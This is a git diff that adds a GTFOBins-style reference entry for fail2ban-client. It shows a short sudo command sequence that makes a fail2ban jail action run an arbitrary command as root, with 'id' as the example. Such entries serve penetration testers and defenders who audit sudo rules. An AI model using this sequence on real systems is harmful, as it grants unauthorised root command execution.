diff --git a/_gtfobins/fail2ban-client.md b/_gtfobins/fail2ban-client.md new file mode 100644 index 0000000..301315b --- /dev/null +++ b/_gtfobins/fail2ban-client.md @@ -0,0 +1,15 @@ +--- +description: | + The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess (it will hang the `banip` command until the subprocess returns. +functions: + sudo: + - code: | + COMMAND="id" + sudo fail2ban-client add woot + sudo fail2ban-client set woot addaction wootaction + sudo fail2ban-client set woot action wootaction actionban "$COMMAND" + sudo fail2ban-client start woot + sudo fail2ban-client set woot banip 999.999.999.999 + sudo fail2ban-client set woot unbanip 999.999.999.999 + sudo fail2ban-client stop woot +---